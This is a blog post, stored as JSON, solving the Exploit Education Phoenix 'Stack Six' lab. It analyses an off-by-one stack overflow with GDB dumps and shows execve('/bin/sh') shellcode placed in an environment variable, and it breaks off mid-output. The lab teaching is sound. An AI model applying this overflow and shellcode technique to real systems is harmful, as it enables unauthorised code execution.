{"id":447,"date":"2019-07-10T15:19:44","date_gmt":"2019-07-10T19:19:44","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=447"},"modified":"2019-11-08T07:57:22","modified_gmt":"2019-11-08T12:57:22","slug":"exploit-education-phoenix-stack-six-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-stack-six-solution\/","title":{"rendered":"Exploit Education | Phoenix | Stack Six Solution"},"content":{"rendered":"<h1>Stack Six<\/h1>\n<p>The description and source code can be found here:<br \/>\n<a href=\"http:\/\/exploit.education\/phoenix\/stack-six\/\">http:\/\/exploit.education\/phoenix\/stack-six\/<\/a><\/p>\n<h2>Objective<\/h2>\n<p>The comments of the source code gives us the objective:<span style=\"font-family: Courier New; font-weight: bold;\"> Can you execve(&#8220;\/bin\/sh&#8221;, &#8230;) ?<\/span><\/p>\n<p>Also, the first sentence on the page asks, &#8220;Where does Stack Six go wrong, and what can you do with it?&#8221;<\/p>\n<h2>Source Code Analysis<\/h2>\n<p>Let&#8217;s have a look at<span style=\"font-family: Courier New; font-weight: bold;\"> main()<\/span> first (I&#8217;ve left out the<span style=\"font-family: Courier New; font-weight: bold;\"> #ifdef <\/span>since it&#8217;s not relevant here):<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">#define BANNER \\\r\n    &quot;Welcome to &quot; LEVELNAME &quot;, brought to you by https:\/\/exploit.education&quot;\r\n\r\nint main(int argc, char **argv) {\r\n    char *ptr;\r\n    printf(&quot;%s\\n&quot;, BANNER);\r\n\r\n    ptr = getenv(&quot;ExploitEducation&quot;);\r\n    if (NULL == ptr) {\r\n        errx(1, &quot;Please specify an environment variable called ExploitEducation&quot;);\r\n    }\r\n\r\n    printf(&quot;%s\\n&quot;, greet(ptr));\r\n    return 0;\r\n}<\/pre>\n<p>It starts by printing a banner and getting the <strong>ExploitEducation<\/strong>\u00a0environment variable. It then calls the<span style=\"font-family: Courier New; font-weight: bold;\"> greet()<\/span> function, passing a pointer to the string stored in <strong>ExploitEducation<\/strong>\u00a0and prints the return result. No obvious bugs there. Let&#8217;s take a look at <span style=\"font-family: Courier New; font-weight: bold;\"> greet()<\/span>:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">char *what = GREET;\r\n\r\nchar *greet(char *who) {\r\n    char buffer&#x5B;128];\r\n    int maxSize;\r\n\r\n    maxSize = strlen(who);\r\n    if (maxSize &gt; (sizeof(buffer) - \/* ensure null termination *\/ 1)) {\r\n        maxSize = sizeof(buffer) - 1;\r\n    }\r\n\r\n    strcpy(buffer, what);\r\n    strncpy(buffer + strlen(buffer), who, maxSize);\r\n\r\n    return strdup(buffer);\r\n}<\/pre>\n<p>As stated on the page, &#8220;The macro GREET is architecture dependent.&#8221; In this case, <strong>GREET<\/strong> is defined as <span style=\"font-family: Courier New; font-weight: bold;\">&#8220;Welcome, I am pleased to meet you &#8220;<\/span>, which is exactly 34 bytes long (including the space &amp; not including the quotes). You can see that the function accepts a pointer to the string value of the <strong>ExploitEducation<\/strong> variable, saved as <strong>who<\/strong>. It reserves some space for the <strong>buffer<\/strong>\u00a0(128 bytes) &amp; <strong>maxSize<\/strong> variables. It then stores the length of the <strong>who<\/strong> (ExploitEducation) variable in the <strong>maxSize<\/strong> integer. A conditional checks to see if that size is greater than 127. If so, it adjusts the <strong>maxSize<\/strong> variable to 127. This, in conjunction with the<span style=\"font-family: Courier New; font-weight: bold;\"> strncpy()<\/span> function later on, must be the programmer&#8217;s attempt at preventing a buffer overflow attack. The<span style=\"font-family: Courier New; font-weight: bold;\"> strcpy()<\/span> function copies the\u00a0<strong>GREET<\/strong> message (34 bytes long) into the beginning of the <strong>buffer<\/strong> array.<\/p>\n<p>Here&#8217;s the interesting part. The<span style=\"font-family: Courier New; font-weight: bold;\"> strncpy()<\/span> function copies the value of the\u00a0<strong>who<\/strong> (ExploitEducation) variable into the <strong>buffer<\/strong> variable, starting after the <strong>GREET<\/strong> message. The function limits the number of bytes copied by <strong>maxSize<\/strong> (127 bytes), which WOULD limit the input to the size of the <strong>buffer<\/strong> variable, if it wasn&#8217;t accounting for the <strong>GREET<\/strong> message (34 bytes). However, as it is, this lets us put a total of 161 bytes (34 from the GREET message + 127 from the ExploitEducation environment variable) into the <strong>buffer<\/strong> variable that had 128 bytes allocated to it on the stack. Were I the programmer, I would have written the conditional that adjusts the <strong>maxSize<\/strong> variable like so:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">if (maxSize &gt; (sizeof(buffer) - strlen(what) - \/* ensure null termination *\/ 1)) {\r\n    maxSize = sizeof(buffer) - strlen(what) - 1;\r\n}<\/pre>\n<h2>Stack Smashing<\/h2>\n<p>Let&#8217;s have a look at the program in GDB to see what we can overwrite on the stack. First, I&#8217;ll set the ExploitEducation environment variable to be a length of 127 characters (no need to use more than that as they&#8217;ll just get cut off anyway). Then, in GDB, I&#8217;ll set a breakpoint in the<span style=\"font-family: Courier New; font-weight: bold;\"> greet()<\/span> function right before the call to<span style=\"font-family: Courier New; font-weight: bold;\"> strncpy()<\/span> so I can see the stack frame right before &amp; right after.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:~$ export ExploitEducation=$(python -c 'print &quot;A&quot;*127')\r\n\r\nuser@phoenix-amd64:~$ gdb -q \/opt\/phoenix\/amd64\/stack-six\r\nGEF for linux ready, type `gef' to start, `gef config' to configure\r\n71 commands loaded for GDB 8.2.1 using Python engine 3.5\r\n&#x5B;*] 2 commands could not be loaded, run `gef missing` to know why.\r\nReading symbols from \/opt\/phoenix\/amd64\/stack-six...(no debugging symbols found)...done.\r\n\r\ngef&gt; disas greet\r\nDump of assembler code for function greet:\r\n   0x00000000004006fd &lt;+0&gt;:     push   rbp\r\n   0x00000000004006fe &lt;+1&gt;:     mov    rbp,rsp\r\n   0x0000000000400701 &lt;+4&gt;:     push   rbx\r\n   0x0000000000400702 &lt;+5&gt;:     sub    rsp,0xa8\r\n   0x0000000000400709 &lt;+12&gt;:    mov    QWORD PTR &#x5B;rbp-0xa8],rdi\r\n   0x0000000000400710 &lt;+19&gt;:    mov    rax,QWORD PTR &#x5B;rbp-0xa8]\r\n   0x0000000000400717 &lt;+26&gt;:    mov    rdi,rax\r\n   0x000000000040071a &lt;+29&gt;:    call   0x400580 &lt;strlen@plt&gt;\r\n   0x000000000040071f &lt;+34&gt;:    mov    DWORD PTR &#x5B;rbp-0x14],eax\r\n   0x0000000000400722 &lt;+37&gt;:    mov    eax,DWORD PTR &#x5B;rbp-0x14]\r\n   0x0000000000400725 &lt;+40&gt;:    cmp    eax,0x7f\r\n   0x0000000000400728 &lt;+43&gt;:    jbe    0x400731 &lt;greet+52&gt;\r\n   0x000000000040072a &lt;+45&gt;:    mov    DWORD PTR &#x5B;rbp-0x14],0x7f\r\n   0x0000000000400731 &lt;+52&gt;:    mov    rdx,QWORD PTR &#x5B;rip+0x200458]        # 0x600b90 &lt;what&gt;\r\n   0x0000000000400738 &lt;+59&gt;:    lea    rax,&#x5B;rbp-0xa0]\r\n   0x000000000040073f &lt;+66&gt;:    mov    rsi,rdx\r\n   0x0000000000400742 &lt;+69&gt;:    mov    rdi,rax\r\n   0x0000000000400745 &lt;+72&gt;:    call   0x400510 &lt;strcpy@plt&gt;\r\n   0x000000000040074a &lt;+77&gt;:    mov    eax,DWORD PTR &#x5B;rbp-0x14]\r\n   0x000000000040074d &lt;+80&gt;:    movsxd rbx,eax\r\n   0x0000000000400750 &lt;+83&gt;:    lea    rax,&#x5B;rbp-0xa0]\r\n   0x0000000000400757 &lt;+90&gt;:    mov    rdi,rax\r\n   0x000000000040075a &lt;+93&gt;:    call   0x400580 &lt;strlen@plt&gt;\r\n   0x000000000040075f &lt;+98&gt;:    mov    rdx,rax\r\n   0x0000000000400762 &lt;+101&gt;:   lea    rax,&#x5B;rbp-0xa0]\r\n   0x0000000000400769 &lt;+108&gt;:   lea    rcx,&#x5B;rax+rdx*1]\r\n   0x000000000040076d &lt;+112&gt;:   mov    rax,QWORD PTR &#x5B;rbp-0xa8]\r\n   0x0000000000400774 &lt;+119&gt;:   mov    rdx,rbx\r\n   0x0000000000400777 &lt;+122&gt;:   mov    rsi,rax\r\n   0x000000000040077a &lt;+125&gt;:   mov    rdi,rcx\r\n   0x000000000040077d &lt;+128&gt;:   call   0x400550 &lt;strncpy@plt&gt;\r\n   0x0000000000400782 &lt;+133&gt;:   lea    rax,&#x5B;rbp-0xa0]\r\n   0x0000000000400789 &lt;+140&gt;:   mov    rdi,rax\r\n   0x000000000040078c &lt;+143&gt;:   call   0x400560 &lt;strdup@plt&gt;\r\n   0x0000000000400791 &lt;+148&gt;:   add    rsp,0xa8\r\n   0x0000000000400798 &lt;+155&gt;:   pop    rbx\r\n   0x0000000000400799 &lt;+156&gt;:   pop    rbp\r\n   0x000000000040079a &lt;+157&gt;:   ret    \r\nEnd of assembler dump.\r\n\r\ngef&gt; b *greet+128\r\nBreakpoint 1 at 0x40077d\r\n\r\ngef&gt; run\r\nStarting program: \/opt\/phoenix\/amd64\/stack-six \r\nWelcome to phoenix\/stack-six, brought to you by https:\/\/exploit.education\r\n\r\nBreakpoint 1, 0x000000000040077d in greet ()<\/pre>\n<p>Now we can examine the stack before and after the overflow. In order to make sure I see the whole stack and not too much beyond it, I&#8217;ll do some math. I&#8217;ll subtract the location of the saved return pointer from the contents of the RSP register to get the number of bytes:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">gef&gt; info frame\r\nStack level 0, frame at 0x7fffffffe5a0:\r\n rip = 0x40077d in greet; saved rip = 0x4007e9\r\n called by frame at 0x7fffffffe5d0\r\n Arglist at 0x7fffffffe590, args: \r\n Locals at 0x7fffffffe590, Previous frame's sp is 0x7fffffffe5a0\r\n Saved registers:\r\n  rbx at 0x7fffffffe588, rbp at 0x7fffffffe590, rip at 0x7fffffffe598\r\n\r\ngef&gt; p $sp\r\n$1 = (void *) 0x7fffffffe4e0\r\n\r\ngef&gt; p\/d 0x7fffffffe598 - 0x7fffffffe4e0\r\n$2 = 184<\/pre>\n<p>Make note that the return base pointer is at 0x7fffffffe590. A &#8220;giant word&#8221; in GDB is 8 bytes. So examining 24 giant words starting at RSP should cover the whole stack. When looking at the stack, I like to match the unit (word vs giant word) with the CPU architecture as it makes memory addresses a bit easier to read.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">gef&gt; x\/24xg 0x7fffffffe4e0\r\n0x7fffffffe4e0: 0x00007ffff7ffc948      0x00007fffffffef10\r\n0x7fffffffe4f0: 0x2c656d6f636c6557      0x6c70206d61204920\r\n0x7fffffffe500: 0x6f74206465736165      0x6f79207465656d20\r\n0x7fffffffe510: 0x0000000000002075      0x0000000000400878\r\n0x7fffffffe520: 0x000000000040079b      0x0000000000000000\r\n0x7fffffffe530: 0x0000000000000000      0x00007ffff7db6dde\r\n0x7fffffffe540: 0x000000000040079b      0x0000000000a6002f\r\n0x7fffffffe550: 0x0000000000000000      0x00007ffff7db6b1e\r\n0x7fffffffe560: 0x00007ffff7ffb300      0x0a00000000000000\r\n0x7fffffffe570: 0x00007fffffffe618      0x0000007ff7d8fe8f\r\n0x7fffffffe580: 0x00007fffffffe618      0x00007fffffffe618\r\n0x7fffffffe590: 0x00007fffffffe5c0      0x00000000004007e9\r\n\r\ngef&gt; x\/s 0x7fffffffe4f0\r\n0x7fffffffe4f0: &quot;Welcome, I am pleased to meet you &quot;\r\n\r\ngef&gt; next\r\n0x0000000000400782 in greet ()\r\n\r\n&#x5B;... GEF output snipped ...]\r\n\r\ngef&gt; x\/24xg 0x7fffffffe4e0\r\n0x7fffffffe4e0: 0x00007ffff7ffc948      0x00007fffffffef10\r\n0x7fffffffe4f0: 0x2c656d6f636c6557      0x6c70206d61204920\r\n0x7fffffffe500: 0x6f74206465736165      0x6f79207465656d20\r\n0x7fffffffe510: 0x4141414141412075      0x4141414141414141\r\n0x7fffffffe520: 0x4141414141414141      0x4141414141414141\r\n0x7fffffffe530: 0x4141414141414141      0x4141414141414141\r\n0x7fffffffe540: 0x4141414141414141      0x4141414141414141\r\n0x7fffffffe550: 0x4141414141414141      0x4141414141414141\r\n0x7fffffffe560: 0x4141414141414141      0x4141414141414141\r\n0x7fffffffe570: 0x4141414141414141      0x4141414141414141\r\n0x7fffffffe580: 0x4141414141414141      0x4141414141414141\r\n0x7fffffffe590: 0x00007fffffffe541      0x00000000004007e9<\/pre>\n<p>We can see the start of the buffer variable is at 0x7fffffffe4f0. After the call to<span style=\"font-family: Courier New; font-weight: bold;\"> strncpy()<\/span>, you can see that one of the A&#8217;s overwrote the LSB (least significant byte) of the saved base pointer at 0x7fffffffe590. This could be considered an off-by-one vulnerability. In a normal off-by-one vulnerability, you&#8217;d change the saved base pointer to point it higher in the stack (lower address) to some location where the attacker can control the contents. Then we might be able to control the flow of execution after the program hits the &#8220;<strong>ret<\/strong>&#8221; instruction in the<span style=\"font-family: Courier New; font-weight: bold;\"> main()<\/span> function. However, as\u00a0 you&#8217;ll see later, we have to be a bit more creative here.<\/p>\n<h2>Understanding the Vulnerability<\/h2>\n<p>Let&#8217;s look at some of the assembly to see how this works. First, I&#8217;ll look at the end of the<span style=\"font-family: Courier New; font-weight: bold;\"> greet()<\/span> function:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">   0x0000000000400791 &lt;+148&gt;:   add    rsp,0xa8\r\n   0x0000000000400798 &lt;+155&gt;:   pop    rbx\r\n   0x0000000000400799 &lt;+156&gt;:   pop    rbp\r\n   0x000000000040079a &lt;+157&gt;:   ret<\/pre>\n<p>First, 168 bytes (0xa8) are added to RSP to undo the space reservation that happened at the beginning of the function. And since the function modifies the RBX register, it saved that value after the function prologue with a <span style=\"font-family: Courier New; font-weight: bold;\">push rbx<\/span>. Here, it simply undoes that with a <span style=\"font-family: Courier New; font-weight: bold;\">pop rbx<\/span>. Of course, this is overwritten with our buffer overflow, but that doesn&#8217;t really matter. Next, the saved base pointer value is restored into RBP with the <span style=\"font-family: Courier New; font-weight: bold;\">pop rbp<\/span> instruction. Finally, it hits the <span style=\"font-family: Courier New; font-weight: bold;\">ret<\/span> instruction, which is essentially just a <span style=\"font-family: Courier New; font-weight: bold;\">pop rip<\/span> instruction. So the value at RSP gets restored to the RIP register. So as you can see, overwriting the saved base point has no impact yet.<\/p>\n<p>Let&#8217;s take a look at the end of the<span style=\"font-family: Courier New; font-weight: bold;\"> main()<\/span> function:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">   0x00000000004007e4 &lt;+73&gt;:    call   0x4006fd &lt;greet&gt;\r\n   0x00000000004007e9 &lt;+78&gt;:    mov    rdi,rax\r\n   0x00000000004007ec &lt;+81&gt;:    call   0x400530 &lt;puts@plt&gt;\r\n   0x00000000004007f1 &lt;+86&gt;:    mov    eax,0x0\r\n   0x00000000004007f6 &lt;+91&gt;:    leave  \r\n   0x00000000004007f7 &lt;+92&gt;:    ret<\/pre>\n<p>The call to<span style=\"font-family: Courier New; font-weight: bold;\"> greet()<\/span> leaves a return value in RAX, which is then moved to RDI as an argument to the<span style=\"font-family: Courier New; font-weight: bold;\"> puts()<\/span> function. That prints the entire greeting. Next, EAX is zeroed out to give the program a 0 exit value. The<span style=\"font-family: Courier New; font-weight: bold;\"> leave<\/span>, not seen in<span style=\"font-family: Courier New; font-weight: bold;\"> greet()<\/span>, is normally the second-to-last instruction of a function. It&#8217;s essentially the same as a<span style=\"font-family: Courier New; font-weight: bold;\"> move rsp,rbp <\/span>instruction. It brings the stack pointer register back to the same location as the base pointer register so as to free up the current stack frame. And, again,<span style=\"font-family: Courier New; font-weight: bold;\"> ret <\/span>just performs a<span style=\"font-family: Courier New; font-weight: bold;\"> pop rip <\/span>instruction.<\/p>\n<p>The<span style=\"font-family: Courier New; font-weight: bold;\">\u00a0leave <\/span>and<span style=\"font-family: Courier New; font-weight: bold;\"> ret <\/span>instructions at the end of the<span style=\"font-family: Courier New; font-weight: bold;\"> main()<\/span> function are critical here. If we overwrite the LSB of the saved base pointer on the stack, we can make it point to anywhere in memory between 0x7fffffffe500 and 0x7fffffffe600 (exclusive). Wherever RBP is pointing to is where RSP will end up and 8 bytes less than that is what will be restored into RIP after the<span style=\"font-family: Courier New; font-weight: bold;\"> ret <\/span> instruction. The reason we can&#8217;t set the saved base pointer to 0x7fffffffe500 is because we&#8217;re unable to include null bytes (0x00) in our environment variable. This is important as it forces us to use a pointer already on the stack to restore into RIP. We can&#8217;t save a custom pointer within the <strong>buffer<\/strong> variable because all pointers start with at least 2 null bytes.<\/p>\n<h2>Exploitation<\/h2>\n<p>We can use GDB to find a pointer on the stack that points to user-controlled data. However, if we&#8217;re going to write an exploit that will work outside of GDB, we need to change a few environment variables. Let&#8217;s compare the environment variables in &amp; out of GDB:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nuser@phoenix-amd64:~$ export ExploitEducation=$(python -c 'print &quot;A&quot;*127')\r\n\r\nuser@phoenix-amd64:~$ env\r\nLS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:\r\nSSH_CONNECTION=10.0.2.2 35810 10.0.2.15 22\r\nUSER=user\r\nPWD=\/home\/user\r\nHOME=\/home\/user\r\nSSH_CLIENT=10.0.2.2 35810 22\r\nSSH_TTY=\/dev\/pts\/1\r\nMAIL=\/var\/mail\/user\r\nTERM=xterm-256color\r\nSHELL=\/bin\/bash\r\nSHLVL=1\r\nExploitEducation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nLOGNAME=user\r\nPATH=\/usr\/local\/bin:\/usr\/bin:\/bin:\/usr\/local\/games:\/usr\/games\r\n_=\/usr\/bin\/env\r\n\r\nuser@phoenix-amd64:~$ gdb -q \/opt\/phoenix\/amd64\/stack-six \r\nGEF for linux ready, type `gef' to start, `gef config' to configure\r\n71 commands loaded for GDB 8.2.1 using Python engine 3.5\r\n&#x5B;*] 2 commands could not be loaded, run `gef missing` to know why.\r\nReading symbols from \/opt\/phoenix\/amd64\/stack-six...(no debugging symbols found)...done.\r\n\r\ngef&gt; show env\r\nLS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:\r\nSSH_CONNECTION=10.0.2.2 35810 10.0.2.15 22\r\nUSER=user\r\nPWD=\/home\/user\r\nHOME=\/home\/user\r\nSSH_CLIENT=10.0.2.2 35810 22\r\nSSH_TTY=\/dev\/pts\/1\r\nMAIL=\/var\/mail\/user\r\nTERM=xterm-256color\r\nSHELL=\/bin\/bash\r\nSHLVL=1\r\nExploitEducation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nLOGNAME=user\r\nPATH=\/usr\/local\/bin:\/usr\/bin:\/bin:\/usr\/local\/games:\/usr\/games\r\n_=\/usr\/local\/bin\/gdb\r\nLINES=47\r\nCOLUMNS=166\r\n<\/pre>\n<p>There are 3 differences. First, GDB adds 2 environment variables, LINES &amp; COLUMNS. Second, the underscore &#8220;_&#8221; variable should be set to the name of the currently running program. However, when debugging stack-six, you&#8217;ll notice that the underscore is set to the path to the GDB executable, not \/opt\/phoenix\/amd64\/stack-six. These will all change the addresses of our environment variables and everything else on the stack. To fix it, simply run the following 3 commands within GDB or put them in the<span style=\"font-family: Courier New; font-weight: bold;\"> ~\/.gdbinit <\/span>file:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\r\nunset env LINES\r\nunset env COLUMNS\r\nset env _ \/opt\/phoenix\/amd64\/stack-six\r\n<\/pre>\n<p>With that setup, let&#8217;s look at the stack for a pointer to user-controlled data. I know that I can control environment variables. So let&#8217;s look for a pointer there. First, I&#8217;ll need to get the addresses of the environment variables. I can use some of the output from GEF for this:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">gef&gt; b *main\r\nBreakpoint 1 at 0x40079b\r\n\r\ngef&gt; run\r\nStarting program: \/opt\/phoenix\/amd64\/stack-six \r\n\r\nBreakpoint 1, 0x000000000040079b in main ()\r\n&#x5B; Legend: Modified register | Code | Heap | Stack | String ]\r\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 registers \u2500\u2500\u2500\u2500\r\n$rax   : 0x0               \r\n$rbx   : 0x00007fffffffe638  \u2192  0x00007fffffffe829  \u2192  &quot;\/opt\/phoenix\/amd64\/stack-six&quot;\r\n\r\n&#x5B;... GEF output snipped ...]\r\n\r\ngef&gt; x\/20s 0x00007fffffffe829\r\n0x7fffffffe829: &quot;\/opt\/phoenix\/amd64\/stack-six&quot;\r\n0x7fffffffe846: &quot;LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:&quot;\r\n0x7fffffffee02: &quot;SSH_CONNECTION=10.0.2.2 55068 10.0.2.15 22&quot;\r\n0x7fffffffee2d: &quot;_=\/opt\/phoenix\/amd64\/stack-six&quot;\r\n0x7fffffffee4c: &quot;OLDPWD=\/opt\/phoenix\/amd64&quot;\r\n0x7fffffffee66: &quot;USER=user&quot;\r\n0x7fffffffee70: &quot;PWD=\/home\/user&quot;\r\n0x7fffffffee7f: &quot;HOME=\/home\/user&quot;\r\n0x7fffffffee8f: &quot;SSH_CLIENT=10.0.2.2 55068 22&quot;\r\n0x7fffffffeeac: &quot;SSH_TTY=\/dev\/pts\/0&quot;\r\n0x7fffffffeebf: &quot;MAIL=\/var\/mail\/user&quot;\r\n0x7fffffffeed3: &quot;SHELL=\/bin\/bash&quot;\r\n0x7fffffffeee3: &quot;TERM=xterm-256color&quot;\r\n0x7fffffffeef7: &quot;SHLVL=1&quot;\r\n0x7fffffffeeff: &quot;ExploitEducation=H1\\322H\\273\/\/bin\/shH\\301\\353\\bSH\\211\\347PWH\\211\\346\\260;&#92;&#48;17&#92;&#48;05&quot;, 'A' &lt;repeats 96 times&gt;, &quot;\\320&quot;\r\n0x7fffffffef90: &quot;LOGNAME=user&quot;\r\n0x7fffffffef9d: &quot;PATH=\/usr\/local\/bin:\/usr\/bin:\/bin:\/usr\/local\/games:\/usr\/games&quot;\r\n0x7fffffffefdb: 